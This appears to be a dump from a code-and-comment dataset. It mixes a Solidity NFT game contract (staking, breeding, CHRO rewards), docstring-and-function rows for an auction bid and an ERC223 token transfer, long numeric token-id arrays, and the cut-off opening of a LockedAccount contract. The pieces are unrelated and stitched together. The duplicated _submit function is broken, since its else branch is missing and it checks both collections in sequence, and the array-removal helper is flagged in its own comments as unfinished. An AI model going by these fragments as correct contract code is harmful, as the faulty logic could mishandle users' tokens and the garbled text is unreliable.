import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol";
import "hardhat/console.sol";
interface IERC721b is IERC721 {
enum TokenType {
Wynd,
Rider,
Equipment
}
function mint(
address _to,
TokenType _tokenType,
string memory _tokenURI
) external returns (uint256);
}
contract WBGame is
OwnableUpgradeable,
ERC721Holder,
ReentrancyGuardUpgradeable
{
using Strings for uint256;
enum HolderPlace {
Unheld,
DailyActivity,
Breeding,
Training,
Forging
}
event TokenMoved(
address user,
string productId,
HolderPlace from,
HolderPlace to
);
event TicketBought(
address user,
string productId,
uint256 price,
string activity
);
event BreedItemCreated(uint256 aParent, uint256 bParent, uint256 child);
event GameItemTransfer(
address from,
address to,
address collection,
uint256 tokenId,
HolderPlace holderPlace
);
event GameItemDispatch(
address from,
address to,
address collection,
uint256 tokenId,
HolderPlace holderPlace
);
event RewardClaimed(address user, uint256 amount, uint256 timestamp);
event RewardSet(address user, uint256 amount, uint256 timestamp);
using Counters for Counters.Counter;
Counters.Counter private breedId;
struct BreedItem {
uint256 aParent;
uint256 bParent;
uint256 child;
}
mapping(uint256 => BreedItem) private _breedItems;
mapping(uint256 => uint256) private _breedCounts;
mapping(address => mapping(HolderPlace => uint256[])) private _tokenHolder;
mapping(address => uint256) private _addressCHROReward;
mapping(address => uint256) private _addressClaimedTime;
uint256 private _breedingCost;
uint256 private _totalReward;
/// first generation or genesis contract
IERC721 private _aCollection;
/// next generation (NextGen) contract
IERC721b private _bCollection;
/// CHRO contract
IERC20 private _tokenContract;
mapping(uint256 => HolderPlace) private _heldTokens;
mapping(uint256 => address) private _tokenOwners;
event TreasurySet(address newAddress);
function initialize(
address _aCollectionAddress,
address _bCollectionAddress,
address _tokenAddress
) public initializer {
_transferOwnership(_msgSender());
_aCollection = IERC721(_aCollectionAddress);
_bCollection = IERC721b(_bCollectionAddress);
_tokenContract = IERC20(_tokenAddress);
_breedingCost = 200000000000000000000;
breedId = Counters.Counter({_value: 0});
}
function buyTicket(
uint256 _tokenId,
uint256 _price,
string memory _activity
) public {
address _collection = address(0);
if (_tokenId < 20000) {
_collection = address(_aCollection);
} else {
_collection = address(_bCollection);
}
require(
_heldTokens[_tokenId] == HolderPlace.DailyActivity &&
_tokenOwners[_tokenId] == _msgSender(),
"Invalid place of token"
);
require(
_tokenContract.balanceOf(_msgSender()) >= _price,
"Not enough tokens"
);
require(
_tokenContract.allowance(_msgSender(), address(this)) >= _price,
"Not enough allowance"
);
_tokenContract.transferFrom(_msgSender(), address(this), _price);
emit TicketBought(
_msgSender(),
string(
abi.encodePacked(
Strings.toHexString(uint160(_collection), 20),
":",
_tokenId.toString()
)
),
_price,
_activity
);
}
/**
* @notice Submit token to this contract and specify the {HolderPlace}
* @param _holderPlace Holder place
* @param _tokenId Token ID
*/
function _submit(HolderPlace _holderPlace, uint256 _tokenId) internal {
address _collection = address(0);
if (_tokenId < 20000) {
require(
_aCollection.ownerOf(_tokenId) == _msgSender(),
"Invalid ownership"
);
_aCollection.transferFrom(_msgSender(), address(this), _tokenId);
_collection = address(_aCollection);
} else {
require(
_bCollection.ownerOf(_tokenId) == _msgSender(),
"Invalid ownership"
);
_bCollection.transferFrom(_msgSender(), address(this), _tokenId);
_collection = address(_bCollection);
}
_heldTokens[_tokenId] = _holderPlace;
_tokenOwners[_tokenId] = _msgSender();
// SAVE TO TOKEN HOLDER
_save(_holderPlace, _tokenId);
// _tokenHolder[_msgSender()][_holderPlace].push(_tokenId);
emit GameItemTransfer(
_msgSender(),
address(this),
_collection,
_tokenId,
_holderPlace
);
}
/**
* @notice Batch submit tokens to this contract and specify the {HolderPlace}
* @param _holderPlace Holder place
* @param _tokenIds Array of token ids
*/
function batchSubmit(HolderPlace _holderPlace, uint256[] memory _tokenIds)
public
{
for (uint256 i = 0; i < _tokenIds.length; i++) {
_submit(_holderPlace, _tokenIds[i]);
}
}
/**
* @notice Dispatch token from this contract
* @param _holderPlace Holder place
* @param _tokenId Token ID
*/
function _dispatch(HolderPlace _holderPlace, uint256 _tokenId) internal {
require(_tokenOwners[_tokenId] == _msgSender(), "Requires own token");
address _collection = address(0);
if (_tokenId < 20000) {
require(
_aCollection.ownerOf(_tokenId) == address(this),
"Invalid ownership"
);
_aCollection.transferFrom(address(this), _msgSender(), _tokenId);
_collection = address(_aCollection);
} else {
require(
_bCollection.ownerOf(_tokenId) == address(this),
"Invalid ownership"
);
_bCollection.transferFrom(address(this), _msgSender(), _tokenId);
_collection = address(_bCollection);
}
_remove(_holderPlace, _tokenId);
emit GameItemDispatch(
address(this),
_msgSender(),
_collection,
_tokenId,
_holderPlace
);
}
/**
* @notice Batch dispatch tokens from this contract and specify the {HolderPlace}
* @param _holderPlace Holder place
* @param _tokenIds Array of token ids
*/
function batchDispatch(HolderPlace _holderPlace, uint256[] memory _tokenIds)
public
{
for (uint256 i = 0; i < _tokenIds.length; i++) {
_dispatch(_holderPlace, _tokenIds[i]);
}
}
/**
* @notice Library function to remove array element by its value
* @param _array Array to be manipulated
* @param _element Element to be removed
*/
function _removeElement(uint256[] memory _array, uint256 _element)
internal
pure
returns (uint256[] memory)
{
for (uint256 i; i < _array.length; i++) {
if (_array[i] == _element) {
// TODO FIX:
delete _array[i];
break;
}
}
// ERR Member "pop" is not available in uint256[] memory outside of storage.
return _array;
}
/**
* @notice remove token from tokenHolder
* @param _holderPlace Holder place
* @param _tokenId Token id to be removed
*/
function _remove(HolderPlace _holderPlace, uint256 _tokenId) internal {
uint256[] memory newArray = _removeElement(
_tokenHolder[msg.sender][_holderPlace],
_tokenId
);
_tokenHolder[msg.sender][_holderPlace] = newArray;
}
/**
* @notice Save token to tokenHolder
* @param _holderPlace Holder place
* @param _tokenId Token id to be saved
*/
function _save(HolderPlace _holderPlace, uint256 _tokenId) internal {
_tokenHolder[msg.sender][_holderPlace].push(_tokenId);
}
/**
* @notice View held tokens
* @param _holderPlace Holder place
* @param _address Wallet address si user
* @return array of token_ids
*/
function idsOf(HolderPlace _holderPlace, address _address)
public
view
returns (uint256[] memory)
{
return _tokenHolder[_address][_holderPlace];
}
/**
* @notice Set address mapping to Rewards
* @param _address Address
* @param _reward CHRO Reward for address
*/
function setReward(address _address, uint256 _reward) public onlyOwner {
_addressCHROReward[_address] = _reward;
_totalReward += _reward;
emit RewardSet(_address, _reward, block.timestamp);
}
/**
* @notice Set address mapping to Rewards
* @param _addresses Addresses
* @param _rewards CHRO Rewards for address
*/
function batchSetReward(
address[] memory _addresses,
uint256[] memory _rewards
) public onlyOwner {
uint256 totalRewards = 0;
for (uint256 i = 0; i < _addresses.length; i++) {
totalRewards += _rewards[i];
}
require(
totalRewards <= _tokenContract.balanceOf(address(this)),
"Insufficent Treasury Balance"
);
for (uint256 i = 0; i < _addresses.length; i++) {
setReward(_addresses[i], _rewards[i]);
}
}
/**
* @notice Claim reward
*/
function claimReward() public nonReentrant {
require(
_addressClaimedTime[_msgSender()] + 86400 < block.timestamp,
"Claim once per day"
);
uint256 amount = _addressCHROReward[_msgSender()];
require(
amount <= _totalReward,
"Insufficent reward balance"
);
require(
amount <= _tokenContract.balanceOf(address(this)),
"Insufficent SC Balance"
);
_tokenContract.transfer(_msgSender(), amount);
_totalReward -= amount;
_addressClaimedTime[_msgSender()] = block.timestamp;
_addressCHROReward[_msgSender()] = 0;
emit RewardClaimed(_msgSender(), amount, block.timestamp);
}
/**
***************************************************************************************
*************************************** ADMIN FUNCTIONS *******************************
***************************************************************************************
*/
/**
* @notice Force Dispatch token from this contract
* @param _address Address of token owner
* @param _holderPlace Holder place
* @param _tokenId Token ID
*/
function safeDispatch(
address _address,
HolderPlace _holderPlace,
uint256 _tokenId
) public onlyOwner {
require(_tokenOwners[_tokenId] == _address, "Requires own token");
address _collection = address(0);
if (_tokenId < 20000) {
require(
_aCollection.ownerOf(_tokenId) == address(this),
"Invalid ownership"
);
_aCollection.transferFrom(address(this), _address, _tokenId);
_collection = address(_aCollection);
} else {
require(
_bCollection.ownerOf(_tokenId) == address(this),
"Invalid ownership"
);
_bCollection.transferFrom(address(this), _address, _tokenId);
_collection = address(_bCollection);
}
_remove(_holderPlace, _tokenId);
emit GameItemDispatch(
address(this),
_address,
_collection,
_tokenId,
_holderPlace
);
}
/**
* @notice View total rewards
*/
function viewTotalRewards() external view onlyOwner returns (uint256) {
return _totalReward;
}
/**
***************************************************************************************
*************************************** BREEDING **************************************
***************************************************************************************
*/
function breed(uint256[] memory _parents, string memory _tokenURI) public {
require(_parents.length == 2, "Requires 2 wynds");
require(_parents[0] != _parents[1], "Identical tokens");
for (uint256 i = 0; i < 2; i++) {
/// both sould be held by Breeding and owned by sender
require(
_heldTokens[_parents[i]] == HolderPlace.Breeding &&
_tokenOwners[_parents[i]] == _msgSender(),
"Invalid place of token"
);
/// maximum breed of each token
require(_breedCounts[_parents[i]] < 3, "Max breed count of parent");
}
/// check balance
require(
_tokenContract.balanceOf(_msgSender()) >= _breedingCost,
"Not enough tokens"
);
require(
_tokenContract.allowance(_msgSender(), address(this)) >=
_breedingCost,
"Not enough allowance"
);
/// transfer CHRO to this contract as P2E wallet
_tokenContract.transferFrom(_msgSender(), address(this), _breedingCost);
/// mint to NextGen collection
uint256 childId = _bCollection.mint(
_msgSender(),
IERC721b.TokenType.Wynd,
_tokenURI
);
breedId.increment();
uint256 id = breedId.current();
_breedItems[id] = BreedItem({
aParent: _parents[0],
bParent: _parents[1],
child: childId
});
_breedCounts[_parents[0]] += 1;
_breedCounts[_parents[1]] += 1;
emit BreedItemCreated(_parents[0], _parents[1], childId);
}
/**
* @notice Get breed count of the given token id
* @param _tokenId Token id
*/
function breedCountOf(uint256 _tokenId) public view returns (uint256) {
return _breedCounts[_tokenId];
}
function move(
uint256 _tokenId,
HolderPlace _from,
HolderPlace _to
) public {
require(
_heldTokens[_tokenId] == _from &&
_tokenOwners[_tokenId] == _msgSender(),
"Invalid source of token"
);
address _collection = address(0);
if (_tokenId < 20000) {
_collection = address(_aCollection);
} else {
_collection = address(_bCollection);
}
_heldTokens[_tokenId] = _to;
// TRANSFER TOKEN HOLDS
_save(_to, _tokenId);
_remove(_from, _tokenId);
emit TokenMoved(
_msgSender(),
string(
abi.encodePacked(
Strings.toHexString(uint160(_collection), 20),
":",
_tokenId.toString()
)
),
_from,
_to
);
}
function batchMove(
uint256[] memory _tokenIds,
HolderPlace _from,
HolderPlace _to
) public {
for (uint256 i = 0; i < _tokenIds.length; i++) {
move(_tokenIds[i], _from, _to);
}
}
}
| * @notice Submit token to this contract and specify the {HolderPlace} @param _holderPlace Holder place @param _tokenId Token ID/ | function _submit(HolderPlace _holderPlace, uint256 _tokenId) internal {
address _collection = address(0);
if (_tokenId < 20000) {
require(
_aCollection.ownerOf(_tokenId) == _msgSender(),
"Invalid ownership"
);
_aCollection.transferFrom(_msgSender(), address(this), _tokenId);
_collection = address(_aCollection);
require(
_bCollection.ownerOf(_tokenId) == _msgSender(),
"Invalid ownership"
);
_bCollection.transferFrom(_msgSender(), address(this), _tokenId);
_collection = address(_bCollection);
}
_heldTokens[_tokenId] = _holderPlace;
_tokenOwners[_tokenId] = _msgSender();
emit GameItemTransfer(
_msgSender(),
address(this),
_collection,
_tokenId,
_holderPlace
);
}
| 7,301,461 | [
1,
11620,
1147,
358,
333,
6835,
471,
4800,
326,
288,
6064,
6029,
97,
225,
389,
4505,
6029,
670,
1498,
3166,
225,
389,
2316,
548,
3155,
1599,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
389,
9297,
12,
6064,
6029,
389,
4505,
6029,
16,
2254,
5034,
389,
2316,
548,
13,
2713,
288,
203,
3639,
1758,
389,
5548,
273,
1758,
12,
20,
1769,
203,
203,
3639,
309,
261,
67,
2316,
548,
411,
576,
2787,
13,
288,
203,
5411,
2583,
12,
203,
7734,
389,
69,
2532,
18,
8443,
951,
24899,
2316,
548,
13,
422,
389,
3576,
12021,
9334,
203,
7734,
315,
1941,
23178,
6,
203,
5411,
11272,
203,
5411,
389,
69,
2532,
18,
13866,
1265,
24899,
3576,
12021,
9334,
1758,
12,
2211,
3631,
389,
2316,
548,
1769,
203,
5411,
389,
5548,
273,
1758,
24899,
69,
2532,
1769,
203,
5411,
2583,
12,
203,
7734,
389,
70,
2532,
18,
8443,
951,
24899,
2316,
548,
13,
422,
389,
3576,
12021,
9334,
203,
7734,
315,
1941,
23178,
6,
203,
5411,
11272,
203,
5411,
389,
70,
2532,
18,
13866,
1265,
24899,
3576,
12021,
9334,
1758,
12,
2211,
3631,
389,
2316,
548,
1769,
203,
5411,
389,
5548,
273,
1758,
24899,
70,
2532,
1769,
203,
3639,
289,
203,
203,
3639,
389,
76,
488,
5157,
63,
67,
2316,
548,
65,
273,
389,
4505,
6029,
31,
203,
3639,
389,
2316,
5460,
414,
63,
67,
2316,
548,
65,
273,
389,
3576,
12021,
5621,
203,
203,
3639,
3626,
14121,
1180,
5912,
12,
203,
5411,
389,
3576,
12021,
9334,
203,
5411,
1758,
12,
2211,
3631,
203,
5411,
389,
5548,
16,
203,
5411,
389,
2316,
548,
16,
203,
5411,
389,
4505,
6029,
203,
3639,
11272,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/97/0xA5f08a23365EFF63E2F801A945b98AFD2fEB92e6/sources/project_/contracts/piMarket.sol | * @notice Places a bid on an auction sale. @param _saleId The Id of the sale. @param _bidPrice The amount being bidded/ | function Bid(uint256 _saleId, uint256 _bidPrice) external payable {
if (_tokenMeta[_saleId].currency == address(0)) {
require(msg.value == _bidPrice);
}
LibMarket.checkBid(_tokenMeta[_saleId], _bidPrice);
require(block.timestamp <= _tokenMeta[_saleId].bidEndTime);
_tokenMeta[_saleId].price = _bidPrice;
if (_tokenMeta[_saleId].currency != address(0)) {
IERC20(_tokenMeta[_saleId].currency).transferFrom(
msg.sender,
address(this),
_bidPrice
);
}
BidOrder memory bid = BidOrder(
Bids[_saleId].length,
_saleId,
_tokenMeta[_saleId].currentOwner,
msg.sender,
_bidPrice,
false
);
Bids[_saleId].push(bid);
emit BidCreated(_saleId, Bids[_saleId].length - 1);
}
| 5,040,304 | [
1,
24791,
279,
9949,
603,
392,
279,
4062,
272,
5349,
18,
225,
389,
87,
5349,
548,
1021,
3124,
434,
326,
272,
5349,
18,
225,
389,
19773,
5147,
1021,
3844,
3832,
9949,
785,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
605,
350,
12,
11890,
5034,
389,
87,
5349,
548,
16,
2254,
5034,
389,
19773,
5147,
13,
3903,
8843,
429,
288,
203,
3639,
309,
261,
67,
2316,
2781,
63,
67,
87,
5349,
548,
8009,
7095,
422,
1758,
12,
20,
3719,
288,
203,
5411,
2583,
12,
3576,
18,
1132,
422,
389,
19773,
5147,
1769,
203,
3639,
289,
203,
203,
3639,
10560,
3882,
278,
18,
1893,
17763,
24899,
2316,
2781,
63,
67,
87,
5349,
548,
6487,
389,
19773,
5147,
1769,
203,
203,
3639,
2583,
12,
2629,
18,
5508,
1648,
389,
2316,
2781,
63,
67,
87,
5349,
548,
8009,
19773,
25255,
1769,
203,
3639,
389,
2316,
2781,
63,
67,
87,
5349,
548,
8009,
8694,
273,
389,
19773,
5147,
31,
203,
3639,
309,
261,
67,
2316,
2781,
63,
67,
87,
5349,
548,
8009,
7095,
480,
1758,
12,
20,
3719,
288,
203,
5411,
467,
654,
39,
3462,
24899,
2316,
2781,
63,
67,
87,
5349,
548,
8009,
7095,
2934,
13866,
1265,
12,
203,
7734,
1234,
18,
15330,
16,
203,
7734,
1758,
12,
2211,
3631,
203,
7734,
389,
19773,
5147,
203,
5411,
11272,
203,
3639,
289,
203,
203,
3639,
605,
350,
2448,
3778,
9949,
273,
605,
350,
2448,
12,
203,
5411,
605,
2232,
63,
67,
87,
5349,
548,
8009,
2469,
16,
203,
5411,
389,
87,
5349,
548,
16,
203,
5411,
389,
2316,
2781,
63,
67,
87,
5349,
548,
8009,
2972,
5541,
16,
203,
5411,
1234,
18,
15330,
16,
203,
5411,
389,
19773,
5147,
16,
203,
5411,
629,
203,
3639,
11272,
203,
3639,
605,
2232,
63,
67,
87,
5349,
548,
8009,
2
]
|
pragma solidity ^0.8.0;
import "https://github.com/Dexaran/ERC223-token-standard/blob/development/token/ERC223/IERC223.sol";
import "https://github.com/Dexaran/ERC223-token-standard/blob/development/token/ERC223/IERC223Recipient.sol";
import "https://github.com/Dexaran/ERC223-token-standard/blob/development/utils/Address.sol";
/**
* @title Reference implementation of the ERC223 standard token.
*/
contract ERC223Token is IERC223 {
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
mapping(address => uint256) public balances; // List of user balances.
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory new_name, string memory new_symbol, uint8 new_decimals)
{
_name = new_name;
_symbol = new_symbol;
_decimals = new_decimals;
}
/**
* @dev ERC223 tokens must explicitly return "erc223" on standard() function call.
*/
function standard() public pure override returns (string memory)
{
return "erc223";
}
/**
* @dev Returns the name of the token.
*/
function name() public view override returns (string memory)
{
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view override returns (string memory)
{
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC223} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC223-balanceOf} and {IERC223-transfer}.
*/
function decimals() public view override returns (uint8)
{
return _decimals;
}
/**
* @dev See {IERC223-totalSupply}.
*/
function totalSupply() public view override returns (uint256)
{
return _totalSupply;
}
/**
* @dev Returns balance of the `_owner`.
*
* @param _owner The address whose balance will be returned.
* @return balance Balance of the `_owner`.
*/
function balanceOf(address _owner) public view override returns (uint256)
{
return balances[_owner];
}
/**
* @dev Transfer the specified amount of tokens to the specified address.
* Invokes the `tokenFallback` function if the recipient is a contract.
* The token transfer fails if the recipient is a contract
* but does not implement the `tokenFallback` function
* or the fallback function to receive funds.
*
* @param _to Receiver address.
* @param _value Amount of tokens that will be transferred.
* @param _data Transaction metadata.
*/
function transfer(address _to, uint _value, bytes calldata _data) public override returns (bool success)
{
// Standard function transfer similar to ERC20 transfer with no _data .
// Added due to backwards compatibility reasons .
balances[msg.sender] = balances[msg.sender] - _value;
balances[_to] = balances[_to] + _value;
if(Address.isContract(_to)) {
IERC223Recipient(_to).tokenReceived(msg.sender, _value, _data);
}
emit Transfer(msg.sender, _to, _value);
emit TransferData(_data);
return true;
}
/**
* @dev Transfer the specified amount of tokens to the specified address.
* This function works the same with the previous one
* but doesn't contain `_data` param.
* Added due to backwards compatibility reasons.
*
* @param _to Receiver address.
* @param _value Amount of tokens that will be transferred.
*/
function transfer(address _to, uint _value) public override returns (bool success)
{
bytes memory _empty = hex"00000000";
balances[msg.sender] = balances[msg.sender] - _value;
balances[_to] = balances[_to] + _value;
if(Address.isContract(_to)) {
IERC223Recipient(_to).tokenReceived(msg.sender, _value, _empty);
}
emit Transfer(msg.sender, _to, _value);
emit TransferData(_empty);
return true;
}
}
| * @dev Transfer the specified amount of tokens to the specified address. Invokes the `tokenFallback` function if the recipient is a contract. The token transfer fails if the recipient is a contract but does not implement the `tokenFallback` function or the fallback function to receive funds. @param _to Receiver address. @param _value Amount of tokens that will be transferred. @param _data Transaction metadata./ Standard function transfer similar to ERC20 transfer with no _data . Added due to backwards compatibility reasons . | function transfer(address _to, uint _value, bytes calldata _data) public override returns (bool success)
{
balances[msg.sender] = balances[msg.sender] - _value;
balances[_to] = balances[_to] + _value;
if(Address.isContract(_to)) {
IERC223Recipient(_to).tokenReceived(msg.sender, _value, _data);
}
emit Transfer(msg.sender, _to, _value);
emit TransferData(_data);
return true;
}
| 12,872,118 | [
1,
5912,
326,
1269,
3844,
434,
2430,
358,
326,
1269,
1758,
18,
1377,
22737,
326,
1375,
2316,
12355,
68,
445,
309,
326,
8027,
353,
279,
6835,
18,
1377,
1021,
1147,
7412,
6684,
309,
326,
8027,
353,
279,
6835,
1377,
1496,
1552,
486,
2348,
326,
1375,
2316,
12355,
68,
445,
1377,
578,
326,
5922,
445,
358,
6798,
284,
19156,
18,
225,
389,
869,
565,
31020,
1758,
18,
225,
389,
1132,
16811,
434,
2430,
716,
903,
506,
906,
4193,
18,
225,
389,
892,
225,
5947,
1982,
18,
19,
8263,
445,
7412,
7281,
358,
4232,
39,
3462,
7412,
598,
1158,
389,
892,
263,
25808,
6541,
358,
12727,
8926,
14000,
263,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
7412,
12,
2867,
389,
869,
16,
2254,
389,
1132,
16,
1731,
745,
892,
389,
892,
13,
1071,
3849,
1135,
261,
6430,
2216,
13,
203,
565,
288,
203,
3639,
324,
26488,
63,
3576,
18,
15330,
65,
273,
324,
26488,
63,
3576,
18,
15330,
65,
300,
389,
1132,
31,
203,
3639,
324,
26488,
63,
67,
869,
65,
273,
324,
26488,
63,
67,
869,
65,
397,
389,
1132,
31,
203,
3639,
309,
12,
1887,
18,
291,
8924,
24899,
869,
3719,
288,
203,
5411,
467,
654,
39,
3787,
23,
18241,
24899,
869,
2934,
2316,
8872,
12,
3576,
18,
15330,
16,
389,
1132,
16,
389,
892,
1769,
203,
3639,
289,
203,
3639,
3626,
12279,
12,
3576,
18,
15330,
16,
389,
869,
16,
389,
1132,
1769,
203,
3639,
3626,
12279,
751,
24899,
892,
1769,
203,
3639,
327,
638,
31,
203,
565,
289,
203,
377,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity 0.4.15;
import './AccessControl/AccessControlled.sol';
import './AccessRoles.sol';
import './EtherToken.sol';
import './IsContract.sol';
import './MigrationSource.sol';
import './LockedAccountMigration.sol';
import './Neumark.sol';
import './Standards/IERC677Token.sol';
import './Standards/IERC677Callback.sol';
import './Reclaimable.sol';
import './ReturnsErrors.sol';
import './TimeSource.sol';
contract LockedAccount is
AccessControlled,
AccessRoles,
TimeSource,
ReturnsErrors,
Math,
IsContract,
MigrationSource,
IERC677Callback,
Reclaimable
{
////////////////////////
// Type declarations
////////////////////////
// lock state
enum LockState {
Uncontrolled,
AcceptingLocks,
AcceptingUnlocks,
ReleaseAll
}
struct Account {
uint256 balance;
uint256 neumarksDue;
uint256 unlockDate;
}
////////////////////////
// Immutable state
////////////////////////
// a token controlled by LockedAccount, read ERC20 + extensions to read what
// token is it (ETH/EUR etc.)
IERC677Token private ASSET_TOKEN;
Neumark private NEUMARK;
// longstop period in seconds
uint256 private LOCK_PERIOD;
// penalty: fraction of stored amount on escape hatch
uint256 private PENALTY_FRACTION;
////////////////////////
// Mutable state
////////////////////////
// total amount of tokens locked
uint256 private _totalLockedAmount;
// total number of locked investors
uint256 internal _totalInvestors;
// current state of the locking contract
LockState private _lockState;
// controlling contract that may lock money or unlock all account if fails
address private _controller;
// fee distribution pool
address private _penaltyDisbursalAddress;
// LockedAccountMigration private migration;
mapping(address => Account) internal _accounts;
////////////////////////
// Events
////////////////////////
event LogFundsLocked(
address indexed investor,
uint256 amount,
uint256 neumarks
);
event LogFundsUnlocked(
address indexed investor,
uint256 amount
);
event LogPenaltyDisbursed(
address indexed investor,
uint256 amount,
address toPool
);
event LogLockStateTransition(
LockState oldState,
LockState newState
);
event LogInvestorMigrated(
address indexed investor,
uint256 amount,
uint256 neumarks,
uint256 unlockDate
);
////////////////////////
// Modifiers
////////////////////////
modifier onlyController() {
require(msg.sender == address(_controller));
_;
}
modifier onlyState(LockState state) {
require(_lockState == state);
_;
}
modifier onlyStates(LockState state1, LockState state2) {
require(_lockState == state1 || _lockState == state2);
_;
}
////////////////////////
// Constructor
////////////////////////
// _assetToken - token contract with resource locked by LockedAccount, where
// LockedAccount is allowed to make deposits
function LockedAccount(
IAccessPolicy policy,
IERC677Token assetToken,
Neumark neumark,
uint256 lockPeriod,
uint256 penaltyFraction
)
AccessControlled(policy)
MigrationSource(policy, ROLE_LOCKED_ACCOUNT_ADMIN)
Reclaimable()
{
ASSET_TOKEN = assetToken;
NEUMARK = neumark;
LOCK_PERIOD = lockPeriod;
PENALTY_FRACTION = penaltyFraction;
}
////////////////////////
